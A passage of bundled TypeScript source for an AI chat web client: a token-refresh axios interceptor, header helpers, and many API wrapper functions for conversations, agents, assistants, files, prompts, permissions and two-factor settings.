(originalRequest.url?.includes('/api/auth/logout') === true) {\n return Promise.reject(error);\n }\n\n /** Skip refresh when the Authorization header has been cleared (e.g. during logout),\n * but allow shared link requests to proceed so auth recovery/redirect can happen */\n if (\n !axios.defaults.headers.common['Authorization'] &&\n !window.location.pathname.startsWith('/share/')\n ) {\n return Promise.reject(error);\n }\n\n if (error.response.status === 401 && !originalRequest._retry) {\n console.warn('401 error, refreshing token');\n originalRequest._retry = true;\n\n if (isRefreshing) {\n try {\n const token = await new Promise((resolve, reject) => {\n failedQueue.push({ resolve, reject });\n });\n originalRequest.headers['Authorization'] = 'Bearer ' + token;\n return await axios(originalRequest);\n } catch (err) {\n return Promise.reject(err);\n }\n }\n\n isRefreshing = true;\n\n try {\n const response = await refreshToken(\n // Handle edge case where we get a blank screen if the initial 401 error is from a refresh token request\n originalRequest.url?.includes('api/auth/refresh') === true ? true : false,\n );\n\n const token = response?.token ?? '';\n\n if (token) {\n originalRequest.headers['Authorization'] = 'Bearer ' + token;\n dispatchTokenUpdatedEvent(token);\n processQueue(null, token);\n return await axios(originalRequest);\n } else {\n processQueue(error, null);\n window.location.href = endpoints.apiBaseUrl() + endpoints.buildLoginRedirectUrl();\n }\n } catch (err) {\n processQueue(err as AxiosError, null);\n return Promise.reject(err);\n } finally {\n isRefreshing = false;\n }\n }\n\n return Promise.reject(error);\n },\n );\n}\n\nexport default {\n get: _get,\n getResponse: _getResponse,\n post: _post,\n postMultiPart: _postMultiPart,\n postTTS: _postTTS,\n put: _put,\n delete: _delete,\n deleteWithOptions: _deleteWithOptions,\n patch: _patch,\n refreshToken,\n dispatchTokenUpdatedEvent,\n};\n","import axios from 'axios';\n\nexport function setAcceptLanguageHeader(value: string): void {\n axios.defaults.headers.common['Accept-Language'] = value;\n}\n\nexport function setTokenHeader(token: string | undefined) {\n if (token === undefined) {\n delete axios.defaults.headers.common['Authorization'];\n } else {\n axios.defaults.headers.common['Authorization'] = 'Bearer ' + token;\n }\n}\n","import type { AxiosResponse } from 'axios';\nimport type * as t from './types';\nimport * as endpoints from './api-endpoints';\nimport * as a from './types/assistants';\nimport * as ag from './types/agents';\nimport * as m from './types/mutations';\nimport * as q from './types/queries';\nimport * as f from './types/files';\nimport * as mcp from './types/mcpServers';\nimport * as config from './config';\nimport request from './request';\nimport * as s from './schemas';\nimport * as r from './roles';\nimport * as permissions from './accessPermissions';\n\nexport function revokeUserKey(name: string): Promise<unknown> {\n return request.delete(endpoints.revokeUserKey(name));\n}\n\nexport function revokeAllUserKeys(): Promise<unknown> {\n return request.delete(endpoints.revokeAllUserKeys());\n}\n\nexport function deleteUser(payload?: t.TDeleteUserRequest): Promise<unknown> {\n return request.deleteWithOptions(endpoints.deleteUser(), { data: payload });\n}\n\nexport type FavoriteItem = {\n agentId?: string;\n model?: string;\n endpoint?: string;\n};\n\nexport function getFavorites(): Promise<FavoriteItem[]> {\n return request.get(`${endpoints.apiBaseUrl()}/api/user/settings/favorites`);\n}\n\nexport function updateFavorites(favorites: FavoriteItem[]): Promise<FavoriteItem[]> {\n return request.post(`${endpoints.apiBaseUrl()}/api/user/settings/favorites`, { favorites });\n}\n\nexport function getSharedMessages(shareId: string): Promise<t.TSharedMessagesResponse> {\n return request.get(endpoints.shareMessages(shareId));\n}\n\nexport const listSharedLinks = async (\n params: q.SharedLinksListParams,\n): Promise<q.SharedLinksResponse> => {\n const { pageSize, isPublic, sortBy, sortDirection, search, cursor } = params;\n\n return request.get(\n endpoints.getSharedLinks(pageSize, isPublic, sortBy, sortDirection, search, cursor),\n );\n};\n\nexport function getSharedLink(conversationId: string): Promise<t.TSharedLinkGetResponse> {\n return request.get(endpoints.getSharedLink(conversationId));\n}\n\nexport function createSharedLink(\n conversationId: string,\n targetMessageId?: string,\n): Promise<t.TSharedLinkResponse> {\n return request.post(endpoints.createSharedLink(conversationId), { targetMessageId });\n}\n\nexport function updateSharedLink(shareId: string): Promise<t.TSharedLinkResponse> {\n return request.patch(endpoints.updateSharedLink(shareId));\n}\n\nexport function deleteSharedLink(shareId: string): Promise<m.TDeleteSharedLinkResponse> {\n return request.delete(endpoints.shareMessages(shareId));\n}\n\nexport function updateUserKey(payload: t.TUpdateUserKeyRequest) {\n const { value } = payload;\n if (!value) {\n throw new Error('value is required');\n }\n\n return request.put(endpoints.keys(), payload);\n}\n\nexport function getAgentApiKeys(): Promise<t.TAgentApiKeyListResponse> {\n return request.get(endpoints.apiKeys());\n}\n\nexport function createAgentApiKey(\n payload: t.TAgentApiKeyCreateRequest,\n): Promise<t.TAgentApiKeyCreateResponse> {\n return request.post(endpoints.apiKeys(), payload);\n}\n\nexport function deleteAgentApiKey(id: string): Promise<void> {\n return request.delete(endpoints.apiKeyById(id));\n}\n\nexport function getPresets(): Promise<s.TPreset[]> {\n return request.get(endpoints.presets());\n}\n\nexport function createPreset(payload: s.TPreset): Promise<s.TPreset> {\n return request.post(endpoints.presets(), payload);\n}\n\nexport function updatePreset(payload: s.TPreset): Promise<s.TPreset> {\n return request.post(endpoints.presets(), payload);\n}\n\nexport function deletePreset(arg: s.TPreset | undefined): Promise<m.PresetDeleteResponse> {\n return request.post(endpoints.deletePreset(), arg);\n}\n\nexport function getSearchEnabled(): Promise<boolean> {\n return request.get(endpoints.searchEnabled());\n}\n\nexport function getUser(): Promise<t.TUser> {\n return request.get(endpoints.user());\n}\n\nexport function getUserBalance(): Promise<t.TBalanceResponse> {\n return request.get(endpoints.balance());\n}\n\nexport const updateTokenCount = (text: string) => {\n return request.post(endpoints.tokenizer(), { arg: text });\n};\n\nexport const login = (payload: t.TLoginUser): Promise<t.TLoginResponse> => {\n return request.post(endpoints.login(), payload);\n};\n\nexport const logout = (): Promise<m.TLogoutResponse> => {\n return request.post(endpoints.logout());\n};\n\nexport const register = (payload: t.TRegisterUser) => {\n return request.post(endpoints.register(), payload);\n};\n\nexport const userKeyQuery = (name: string): Promise<t.TCheckUserKeyResponse> =>\n request.get(endpoints.userKeyQuery(name));\n\nexport const getLoginGoogle = () => {\n return request.get(endpoints.loginGoogle());\n};\n\nexport const requestPasswordReset = (\n payload: t.TRequestPasswordReset,\n): Promise<t.TRequestPasswordResetResponse> => {\n return request.post(endpoints.requestPasswordReset(), payload);\n};\n\nexport const resetPassword = (payload: t.TResetPassword) => {\n return request.post(endpoints.resetPassword(), payload);\n};\n\nexport const verifyEmail = (payload: t.TVerifyEmail): Promise<t.VerifyEmailResponse> => {\n return request.post(endpoints.verifyEmail(), payload);\n};\n\nexport const resendVerificationEmail = (\n payload: t.TResendVerificationEmail,\n): Promise<t.VerifyEmailResponse> => {\n return request.post(endpoints.resendVerificationEmail(), payload);\n};\n\nexport const getAvailablePlugins = (): Promise<s.TPlugin[]> => {\n return request.get(endpoints.plugins());\n};\n\nexport const updateUserPlugins = (payload: t.TUpdateUserPlugins) => {\n return request.post(endpoints.userPlugins(), payload);\n};\n\nexport const reinitializeMCPServer = (serverName: string) => {\n return request.post(endpoints.mcpReinitialize(serverName));\n};\n\nexport const bindMCPOAuth = (serverName: string): Promise<{ success: boolean }> => {\n return request.post(endpoints.mcpOAuthBind(serverName));\n};\n\nexport const bindActionOAuth = (actionId: string): Promise<{ success: boolean }> => {\n return request.post(endpoints.actionOAuthBind(actionId));\n};\n\nexport const getMCPConnectionStatus = (): Promise<q.MCPConnectionStatusResponse> => {\n return request.get(endpoints.mcpConnectionStatus());\n};\n\nexport const getMCPServerConnectionStatus = (\n serverName: string,\n): Promise<q.MCPServerConnectionStatusResponse> => {\n return request.get(endpoints.mcpServerConnectionStatus(serverName));\n};\n\nexport const getMCPAuthValues = (serverName: string): Promise<q.MCPAuthValuesResponse> => {\n return request.get(endpoints.mcpAuthValues(serverName));\n};\n\nexport function cancelMCPOAuth(serverName: string): Promise<m.CancelMCPOAuthResponse> {\n return request.post(endpoints.cancelMCPOAuth(serverName), {});\n}\n\n/* Config */\n\nexport const getStartupConfig = (): Promise<\n config.TStartupConfig & {\n mcpCustomUserVars?: Record<string, { title: string; description: string }>;\n }\n> => {\n return request.get(endpoints.config());\n};\n\nexport const getAIEndpoints = (): Promise<t.TEndpointsConfig> => {\n return request.get(endpoints.aiEndpoints());\n};\n\nexport const getModels = async (): Promise<t.TModelsConfig> => {\n return request.get(endpoints.models());\n};\n\n/* Assistants */\n\nexport const createAssistant = ({\n version,\n ...data\n}: a.AssistantCreateParams): Promise<a.Assistant> => {\n return request.post(endpoints.assistants({ version }), data);\n};\n\nexport const getAssistantById = ({\n endpoint,\n assistant_id,\n version,\n}: {\n endpoint: s.AssistantsEndpoint;\n assistant_id: string;\n version: number | string | number;\n}): Promise<a.Assistant> => {\n return request.get(\n endpoints.assistants({\n path: assistant_id,\n endpoint,\n version,\n }),\n );\n};\n\nexport const updateAssistant = ({\n assistant_id,\n data,\n version,\n}: {\n assistant_id: string;\n data: a.AssistantUpdateParams;\n version: number | string;\n}): Promise<a.Assistant> => {\n return request.patch(\n endpoints.assistants({\n path: assistant_id,\n version,\n }),\n data,\n );\n};\n\nexport const deleteAssistant = ({\n assistant_id,\n model,\n endpoint,\n version,\n}: m.DeleteAssistantBody & { version: number | string }): Promise<void> => {\n return request.delete(\n endpoints.assistants({\n path: assistant_id,\n options: { model, endpoint },\n version,\n }),\n );\n};\n\nexport const listAssistants = (\n params: a.AssistantListParams,\n version: number | string,\n): Promise<a.AssistantListResponse> => {\n return request.get(\n endpoints.assistants({\n version,\n options: params,\n }),\n );\n};\n\nexport function getAssistantDocs({\n endpoint,\n version,\n}: {\n endpoint: s.AssistantsEndpoint | string;\n version: number | string;\n}): Promise<a.AssistantDocument[]> {\n if (!s.isAssistantsEndpoint(endpoint)) {\n return Promise.resolve([]);\n }\n return request.get(\n endpoints.assistants({\n path: 'documents',\n version,\n options: { endpoint },\n endpoint: endpoint as s.AssistantsEndpoint,\n }),\n );\n}\n\n/* Tools */\n\nexport const getAvailableTools = (\n _endpoint: s.AssistantsEndpoint | s.EModelEndpoint.agents,\n version?: number | string,\n): Promise<s.TPlugin[]> => {\n let path = '';\n if (s.isAssistantsEndpoint(_endpoint)) {\n const endpoint = _endpoint as s.AssistantsEndpoint;\n path = endpoints.assistants({\n path: 'tools',\n endpoint: endpoint,\n version: version ?? config.defaultAssistantsVersion[endpoint],\n });\n } else {\n path = endpoints.agents({\n path: 'tools',\n });\n }\n\n return request.get(path);\n};\n\n/* MCP Tools - Decoupled from regular tools */\n\nexport const getMCPTools = (): Promise<q.MCPServersResponse> => {\n return request.get(endpoints.mcp.tools);\n};\n\nexport const getVerifyAgentToolAuth = (\n params: q.VerifyToolAuthParams,\n): Promise<q.VerifyToolAuthResponse> => {\n return request.get(\n endpoints.agents({\n path: `tools/${params.toolId}/auth`,\n }),\n );\n};\n\nexport const callTool = <T extends m.ToolId>({\n toolId,\n toolParams,\n}: {\n toolId: T;\n toolParams: m.ToolParams<T>;\n}): Promise<m.ToolCallResponse> => {\n return request.post(\n endpoints.agents({\n path: `tools/${toolId}/call`,\n }),\n toolParams,\n );\n};\n\nexport const getToolCalls = (params: q.GetToolCallParams): Promise<q.ToolCallResults> => {\n return request.get(\n endpoints.agents({\n path: 'tools/calls',\n options: params,\n }),\n );\n};\n\n/* Files */\n\nexport const getFiles = (): Promise<f.TFile[]> => {\n return request.get(endpoints.files());\n};\n\nexport const getAgentFiles = (agentId: string): Promise<f.TFile[]> => {\n return request.get(endpoints.agentFiles(agentId));\n};\n\nexport const getFileConfig = (): Promise<f.FileConfig> => {\n return request.get(`${endpoints.files()}/config`);\n};\n\nexport const uploadImage = (\n data: FormData,\n signal?: AbortSignal | null,\n): Promise<f.TFileUpload> => {\n const requestConfig = signal ? { signal } : undefined;\n return request.postMultiPart(endpoints.images(), data, requestConfig);\n};\n\nexport const uploadFile = (data: FormData, signal?: AbortSignal | null): Promise<f.TFileUpload> => {\n const requestConfig = signal ? { signal } : undefined;\n return request.postMultiPart(endpoints.files(), data, requestConfig);\n};\n\n/* actions */\n\nexport const updateAction = (data: m.UpdateActionVariables): Promise<m.UpdateActionResponse> => {\n const { assistant_id, version, ...body } = data;\n return request.post(\n endpoints.assistants({\n path: `actions/${assistant_id}`,\n version,\n }),\n body,\n );\n};\n\nexport function getActions(): Promise<ag.Action[]> {\n return request.get(\n endpoints.agents({\n path: 'actions',\n }),\n );\n}\n\nexport const deleteAction = async ({\n assistant_id,\n action_id,\n model,\n version,\n endpoint,\n}: m.DeleteActionVariables & { version: number | string }): Promise<void> =>\n request.delete(\n endpoints.assistants({\n path: `actions/${assistant_id}/${action_id}/${model}`,\n version,\n endpoint,\n }),\n );\n\n/**\n * Agents\n */\n\nexport const createAgent = ({ ...data }: a.AgentCreateParams): Promise<a.Agent> => {\n return request.post(endpoints.agents({}), data);\n};\n\nexport const getAgentById = ({ agent_id }: { agent_id: string }): Promise<a.Agent> => {\n return request.get(\n endpoints.agents({\n path: agent_id,\n }),\n );\n};\n\nexport const getExpandedAgentById = ({ agent_id }: { agent_id: string }): Promise<a.Agent> => {\n return request.get(\n endpoints.agents({\n path: `${agent_id}/expanded`,\n }),\n );\n};\n\nexport const updateAgent = ({\n agent_id,\n data,\n}: {\n agent_id: string;\n data: a.AgentUpdateParams;\n}): Promise<a.Agent> => {\n return request.patch(\n endpoints.agents({\n path: agent_id,\n }),\n data,\n );\n};\n\nexport const duplicateAgent = ({\n agent_id,\n}: m.DuplicateAgentBody): Promise<{ agent: a.Agent; actions: ag.Action[] }> => {\n return request.post(\n endpoints.agents({\n path: `${agent_id}/duplicate`,\n }),\n );\n};\n\nexport const deleteAgent = ({ agent_id }: m.DeleteAgentBody): Promise<void> => {\n return request.delete(\n endpoints.agents({\n path: agent_id,\n }),\n );\n};\n\nexport const listAgents = (params: a.AgentListParams): Promise<a.AgentListResponse> => {\n return request.get(\n endpoints.agents({\n options: params,\n }),\n );\n};\n\nexport const revertAgentVersion = ({\n agent_id,\n version_index,\n}: {\n agent_id: string;\n version_index: number;\n}): Promise<a.Agent> => request.post(endpoints.revertAgentVersion(agent_id), { version_index });\n\n/* Marketplace */\n\n/**\n * Get agent categories with counts for marketplace tabs\n */\nexport const getAgentCategories = (): Promise<t.TMarketplaceCategory[]> => {\n return request.get(endpoints.agents({ path: 'categories' }));\n};\n\n/**\n * Unified marketplace agents endpoint with query string controls\n */\nexport const getMarketplaceAgents = (params: {\n requiredPermission: number;\n category?: string;\n search?: string;\n limit?: number;\n cursor?: string;\n promoted?: 0 | 1;\n}): Promise<a.AgentListResponse> => {\n return request.get(\n endpoints.agents({\n // path: 'marketplace',\n options: params,\n }),\n );\n};\n\n/* Tools */\n\nexport const getAvailableAgentTools = (): Promise<s.TPlugin[]> => {\n return request.get(\n endpoints.agents({\n path: 'tools',\n }),\n );\n};\n\n/* Actions */\n\nexport const updateAgentAction = (\n data: m.UpdateAgentActionVariables,\n): Promise<m.UpdateAgentActionResponse> => {\n const { agent_id, ...body } = data;\n return request.post(\n endpoints.agents({\n path: `actions/${agent_id}`,\n }),\n body,\n );\n};\n\nexport const deleteAgentAction = async ({\n agent_id,\n action_id,\n}: m.DeleteAgentActionVariables): Promise<void> =>\n request.delete(\n endpoints.agents({\n path: `actions/${agent_id}/${action_id}`,\n }),\n );\n\n/**\n * MCP Servers\n */\n\n/**\n *\n * Ensure and List loaded mcp server configs from the cache Enriched with effective permissions.\n */\nexport const getMCPServers = async (): Promise<mcp.MCPServersListResponse> => {\n return request.get(endpoints.mcp.servers);\n};\n\n/**\n * Get a single MCP server by ID\n */\nexport const getMCPServer = async (serverName: string): Promise<mcp.MCPServerDBObjectResponse> => {\n return request.get(endpoints.mcpServer(serverName));\n};\n\n/**\n * Create a new MCP server\n */\nexport const createMCPServer = async (\n data: mcp.MCPServerCreateParams,\n): Promise<mcp.MCPServerDBObjectResponse> => {\n return request.post(endpoints.mcp.servers, data);\n};\n\n/**\n * Update an existing MCP server\n */\nexport const updateMCPServer = async (\n serverName: string,\n data: mcp.MCPServerUpdateParams,\n): Promise<mcp.MCPServerDBObjectResponse> => {\n return request.patch(endpoints.mcpServer(serverName), data);\n};\n\n/**\n * Delete an MCP server\n */\nexport const deleteMCPServer = async (serverName: string): Promise<{ success: boolean }> => {\n return request.delete(endpoints.mcpServer(serverName));\n};\n\n/**\n * Imports a conversations file.\n *\n * @param data - The FormData containing the file to import.\n * @returns A Promise that resolves to the import start response.\n */\nexport const importConversationsFile = (data: FormData): Promise<t.TImportResponse> => {\n return request.postMultiPart(endpoints.importConversation(), data);\n};\n\nexport const uploadAvatar = (data: FormData): Promise<f.AvatarUploadResponse> => {\n return request.postMultiPart(endpoints.avatar(), data);\n};\n\nexport const uploadAssistantAvatar = (data: m.AssistantAvatarVariables): Promise<a.Assistant> => {\n return request.postMultiPart(\n endpoints.assistants({\n isAvatar: true,\n path: `${data.assistant_id}/avatar`,\n options: { model: data.model, endpoint: data.endpoint },\n version: data.version,\n }),\n data.formData,\n );\n};\n\nexport const uploadAgentAvatar = (data: m.AgentAvatarVariables): Promise<a.Agent> => {\n return request.postMultiPart(\n `${endpoints.images()}/agents/${data.agent_id}/avatar`,\n data.formData,\n );\n};\n\nexport const getFileDownload = async (userId: string, file_id: string): Promise<AxiosResponse> => {\n return request.getResponse(`${endpoints.files()}/download/${userId}/${file_id}`, {\n responseType: 'blob',\n headers: {\n Accept: 'application/octet-stream',\n },\n });\n};\n\nexport const getCodeOutputDownload = async (url: string): Promise<AxiosResponse> => {\n return request.getResponse(url, {\n responseType: 'blob',\n headers: {\n Accept: 'application/octet-stream',\n },\n });\n};\n\nexport const deleteFiles = async (payload: {\n files: f.BatchFile[];\n agent_id?: string;\n assistant_id?: string;\n tool_resource?: a.EToolResources;\n}): Promise<f.DeleteFilesResponse> =>\n request.deleteWithOptions(endpoints.files(), {\n data: payload,\n });\n\n/* Speech */\n\nexport const speechToText = (data: FormData): Promise<f.SpeechToTextResponse> => {\n return request.postMultiPart(endpoints.speechToText(), data);\n};\n\nexport const textToSpeech = (data: FormData): Promise<ArrayBuffer> => {\n return request.postTTS(endpoints.textToSpeechManual(), data);\n};\n\nexport const getVoices = (): Promise<f.VoiceResponse> => {\n return request.get(endpoints.textToSpeechVoices());\n};\n\nexport const getCustomConfigSpeech = (): Promise<t.TCustomConfigSpeechResponse> => {\n return request.get(endpoints.getCustomConfigSpeech());\n};\n\n/* conversations */\n\nexport function duplicateConversation(\n payload: t.TDuplicateConvoRequest,\n): Promise<t.TDuplicateConvoResponse> {\n return request.post(endpoints.duplicateConversation(), payload);\n}\n\nexport function forkConversation(payload: t.TForkConvoRequest): Promise<t.TForkConvoResponse> {\n return request.post(endpoints.forkConversation(), payload);\n}\n\nexport function deleteConversation(payload: t.TDeleteConversationRequest) {\n return request.deleteWithOptions(endpoints.deleteConversation(), { data: { arg: payload } });\n}\n\nexport function clearAllConversations(): Promise<unknown> {\n return request.delete(endpoints.deleteAllConversation());\n}\n\nexport const listConversations = (\n params?: q.ConversationListParams,\n): Promise<q.ConversationListResponse> => {\n return request.get(endpoints.conversations(params ?? {}));\n};\n\nexport function getConversations(cursor: string): Promise<t.TGetConversationsResponse> {\n return request.get(endpoints.conversations({ cursor }));\n}\n\nexport function getConversationById(id: string): Promise<s.TConversation> {\n return request.get(endpoints.conversationById(id));\n}\n\nexport function updateConversation(\n payload: t.TUpdateConversationRequest,\n): Promise<t.TUpdateConversationResponse> {\n return request.post(endpoints.updateConversation(), { arg: payload });\n}\n\nexport function archiveConversation(\n payload: t.TArchiveConversationRequest,\n): Promise<t.TArchiveConversationResponse> {\n return request.post(endpoints.archiveConversation(), { arg: payload });\n}\n\nexport function genTitle(payload: m.TGenTitleRequest): Promise<m.TGenTitleResponse> {\n return request.get(endpoints.genTitle(payload.conversationId));\n}\n\nexport const listMessages = (params?: q.MessagesListParams): Promise<q.MessagesListResponse> => {\n return request.get(endpoints.messages(params ?? {}));\n};\n\nexport function updateMessage(payload: t.TUpdateMessageRequest): Promise<unknown> {\n const { conversationId, messageId, text } = payload;\n if (!conversationId) {\n throw new Error('conversationId is required');\n }\n\n return request.put(endpoints.messages({ conversationId, messageId }), { text });\n}\n\nexport function updateMessageContent(payload: t.TUpdateMessageContent): Promise<unknown> {\n const { conversationId, messageId, index, text } = payload;\n if (!conversationId) {\n throw new Error('conversationId is required');\n }\n\n return request.put(endpoints.messages({ conversationId, messageId }), { text, index });\n}\n\nexport const editArtifact = async ({\n messageId,\n ...params\n}: m.TEditArtifactRequest): Promise<m.TEditArtifactResponse> => {\n return request.post(endpoints.messagesArtifacts(messageId), params);\n};\n\nexport const branchMessage = async (\n payload: m.TBranchMessageRequest,\n): Promise<m.TBranchMessageResponse> => {\n return request.post(endpoints.messagesBranch(), payload);\n};\n\nexport function getMessagesByConvoId(conversationId: string): Promise<s.TMessage[]> {\n if (\n conversationId === config.Constants.NEW_CONVO ||\n conversationId === config.Constants.PENDING_CONVO\n ) {\n return Promise.resolve([]);\n }\n return request.get(endpoints.messages({ conversationId }));\n}\n\nexport function getPrompt(id: string): Promise<{ prompt: t.TPrompt }> {\n return request.get(endpoints.getPrompt(id));\n}\n\nexport function getPrompts(filter: t.TPromptsWithFilterRequest): Promise<t.TPrompt[]> {\n return request.get(endpoints.getPromptsWithFilters(filter));\n}\n\nexport function getAllPromptGroups(): Promise<q.AllPromptGroupsResponse> {\n return request.get(endpoints.getAllPromptGroups());\n}\n\nexport function getPromptGroups(\n filter: t.TPromptGroupsWithFilterRequest,\n): Promise<t.PromptGroupListResponse> {\n return request.get(endpoints.getPromptGroupsWithFilters(filter));\n}\n\nexport function getPromptGroup(id: string): Promise<t.TPromptGroup> {\n return request.get(endpoints.getPromptGroup(id));\n}\n\nexport function createPrompt(payload: t.TCreatePrompt): Promise<t.TCreatePromptResponse> {\n return request.post(endpoints.postPrompt(), payload);\n}\n\nexport function addPromptToGroup(\n groupId: string,\n payload: t.TCreatePrompt,\n): Promise<t.TCreatePromptResponse> {\n return request.post(endpoints.addPromptToGroup(groupId), payload);\n}\n\nexport function updatePromptGroup(\n variables: t.TUpdatePromptGroupVariables,\n): Promise<t.TUpdatePromptGroupResponse> {\n return request.patch(endpoints.updatePromptGroup(variables.id), variables.payload);\n}\n\nexport function deletePrompt(payload: t.TDeletePromptVariables): Promise<t.TDeletePromptResponse> {\n return request.delete(endpoints.deletePrompt(payload));\n}\n\nexport function makePromptProduction(id: string): Promise<t.TMakePromptProductionResponse> {\n return request.patch(endpoints.updatePromptTag(id));\n}\n\nexport function updatePromptLabels(\n variables: t.TUpdatePromptLabelsRequest,\n): Promise<t.TUpdatePromptLabelsResponse> {\n return request.patch(endpoints.updatePromptLabels(variables.id), variables.payload);\n}\n\nexport function deletePromptGroup(id: string): Promise<t.TDeletePromptGroupResponse> {\n return request.delete(endpoints.deletePromptGroup(id));\n}\n\nexport function getCategories(): Promise<t.TGetCategoriesResponse> {\n return request.get(endpoints.getCategories());\n}\n\nexport function getRandomPrompts(\n variables: t.TGetRandomPromptsRequest,\n): Promise<t.TGetRandomPromptsResponse> {\n return request.get(endpoints.getRandomPrompts(variables.limit, variables.skip));\n}\n\n/* Roles */\nexport function getRole(roleName: string): Promise<r.TRole> {\n return request.get(endpoints.getRole(roleName));\n}\n\nexport function updatePromptPermissions(\n variables: m.UpdatePromptPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updatePromptPermissions(variables.roleName), variables.updates);\n}\n\nexport function updateAgentPermissions(\n variables: m.UpdateAgentPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateAgentPermissions(variables.roleName), variables.updates);\n}\n\nexport function updateMemoryPermissions(\n variables: m.UpdateMemoryPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateMemoryPermissions(variables.roleName), variables.updates);\n}\n\nexport function updatePeoplePickerPermissions(\n variables: m.UpdatePeoplePickerPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(\n endpoints.updatePeoplePickerPermissions(variables.roleName),\n variables.updates,\n );\n}\n\nexport function updateMCPServersPermissions(\n variables: m.UpdateMCPServersPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateMCPServersPermissions(variables.roleName), variables.updates);\n}\n\nexport function updateRemoteAgentsPermissions(\n variables: m.UpdateRemoteAgentsPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(\n endpoints.updateRemoteAgentsPermissions(variables.roleName),\n variables.updates,\n );\n}\n\nexport function updateMarketplacePermissions(\n variables: m.UpdateMarketplacePermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateMarketplacePermissions(variables.roleName), variables.updates);\n}\n\n/* Tags */\nexport function getConversationTags(): Promise<t.TConversationTagsResponse> {\n return request.get(endpoints.conversationTags());\n}\n\nexport function createConversationTag(\n payload: t.TConversationTagRequest,\n): Promise<t.TConversationTagResponse> {\n return request.post(endpoints.conversationTags(), payload);\n}\n\nexport function updateConversationTag(\n tag: string,\n payload: t.TConversationTagRequest,\n): Promise<t.TConversationTagResponse> {\n return request.put(endpoints.conversationTags(tag), payload);\n}\nexport function deleteConversationTag(tag: string): Promise<t.TConversationTagResponse> {\n return request.delete(endpoints.conversationTags(tag));\n}\n\nexport function addTagToConversation(\n conversationId: string,\n payload: t.TTagConversationRequest,\n): Promise<t.TTagConversationResponse> {\n return request.put(endpoints.addTagToConversation(conversationId), payload);\n}\nexport function rebuildConversationTags(): Promise<t.TConversationTagsResponse> {\n return request.post(endpoints.conversationTags('rebuild'));\n}\n\nexport function healthCheck(): Promise<string> {\n return request.get(endpoints.health());\n}\n\nexport function getUserTerms(): Promise<t.TUserTermsResponse> {\n return request.get(endpoints.userTerms());\n}\n\nexport function acceptTerms(): Promise<t.TAcceptTermsResponse> {\n return request.post(endpoints.acceptUserTerms());\n}\n\nexport function getBanner(): Promise<t.TBannerResponse> {\n return request.get(endpoints.banner());\n}\n\nexport function updateFeedback(\n conversationId: string,\n messageId: string,\n payload: t.TUpdateFeedbackRequest,\n): Promise<t.TUpdateFeedbackResponse> {\n return request.put(endpoints.feedback(conversationId, messageId), payload);\n}\n\n// 2FA\nexport function enableTwoFactor(payload?: t.TEnable2FARequest): Promise<t.TEnable2FAResponse> {\n return request.post(endpoints.enableTwoFactor(), payload);\n}\n\nexport function verifyTwoFactor(payload: t.TVerify2FARequest): Promise<t.TVerify2FAResponse> {\n return request.post(endpoints.verifyTwoFactor(), payload);\n}\n\nexport function confirmTwoFactor(payload: t.TVerify2FARequest): Promise<t.TVerify2FAResponse> {\n return request.post(endpoints.confirmTwoFactor(), payload);\n}\n\nexport function disableTwoFactor(payload?: t.TDisable2FARequest): Promise<t.TDisable2FAResponse> {\n return request.post(endpoints.disableTwoFactor(), payload);\n}\n\nexport function regenerateBackupCodes(\n payload?: t.TRegenerateBackupCodesRequest,\n): Promise<t.TRegenerateBackupCodesResponse> {\n return request.post(endpoints.regenerateBackupCodes(), payload);\n}\n\nexport function verifyTwoFactorTemp(\n payload: t.TVerify2FATempRequest,\n): Promise<t.TVerify2FATempResponse> {\n return request.post(endpoints.verifyTwoFactorTemp(), payload);\n}\n\n/* Memories */\nexport const getMemories = (): Promise<q.MemoriesResponse> => {\n return request.get(endpoints.memories());\n};\n\nexport const deleteMemory = (key: string): Promise<void> => {\n return request.delete(endpoints.memory(key));\n};\n\nexport const updateMemory = (\n key: string,\n value: string,\n originalKey?: string,\n): Promise<q.TUserMemory> => {\n return request.patch(endpoints.memory(originalKey || key), { key, value });\n};\n\nexport const updateMemoryPreferences = (preferences: {\n memories: boolean;\n}): Promise<{ updated: boolean; preferences: { memories: boolean } }> => {\n return request.patch(endpoints.memoryPreferences(), preferences);\n};\n\nexport const createMemory = (data: {\n key: string;\n value: string;\n}): Promise<{ created: boolean; memory: q.TUserMemory }> => {\n return request.post(endpoints.memories(), data);\n};\n\nexport function searchPrincipals(\n params: q.PrincipalSearchParams,\n): Promise<q.PrincipalSearchResponse> {\n return request.get(endpoints.searchPrincipals(params));\n}\n\nexport function getAccessRoles(\n resourceType: permissions.ResourceType,\n): Promise<q.AccessRolesResponse> {\n return request.get(endpoints.getAccessRoles(resourceType));\n}\n\nexport function getResourcePermissions(\n resourceType: permissions.ResourceType,\n resourceId: string,\n): Promise<permissions.TGetResourcePermissionsResponse> {\n return request.get(endpoints.getResourcePermissions(resourceType, resourceId));\n}\n\nexport function updateResourcePermissions(\n resourceType: permissions.ResourceType,\n resourceId: string,\n data: permissions.TUpdateResourcePermissionsRequest,\n): Promise<permissions.TUpdateResourcePermissionsResponse> {\n return request.put(endpoints.updateResourcePermissions(resourceType, resourceId), data);\n}\n\nexport function getEffectivePermissions(\n resourceType: permissions.ResourceType,\n resourceId: string,\n): Promise<permissions.TEffectivePermissionsResponse> {\n return request.get(endpoints.getEffectivePermissions(resourceType, resourceId));\n}\n\nexport function getAllEffectivePermissions(\n resourceType: permissions.ResourceType,\n): Promise<permissions.TAllEffectivePermissionsResponse> {\n return request.get(endpoints.getAllEffectivePermissions(resourceType));\n}\n\n// SharePoint Graph API Token\nexport function getGraphApiToken(params: q.GraphTokenParams): Promise<q.GraphTokenResponse> {\n return request.get(endpoints.graphToken(params.scopes));\n}\n\nexport function getDomainServerBaseUrl(): string {\n return `${endpoints.apiBaseUrl()}/api`;\n}\n\n/* Active Jobs */\nexport interface ActiveJobsResponse {\n activeJobIds: string[];\n}\n\nexport const getActiveJobs = (): Promise<ActiveJobsResponse> => {\n return request.get(endpoints.activeJobs());\n};\n","export enum QueryKeys {\n messages = 'messages',\n sharedMessages = 'sharedMessages',\n sharedLinks = 'sharedLinks',\n allConversations = 'allConversations',\n archivedConversations = 'archivedConversations',\n searchConversations = 'searchConversations',\n conversation = 'conversation',\n searchEnabled 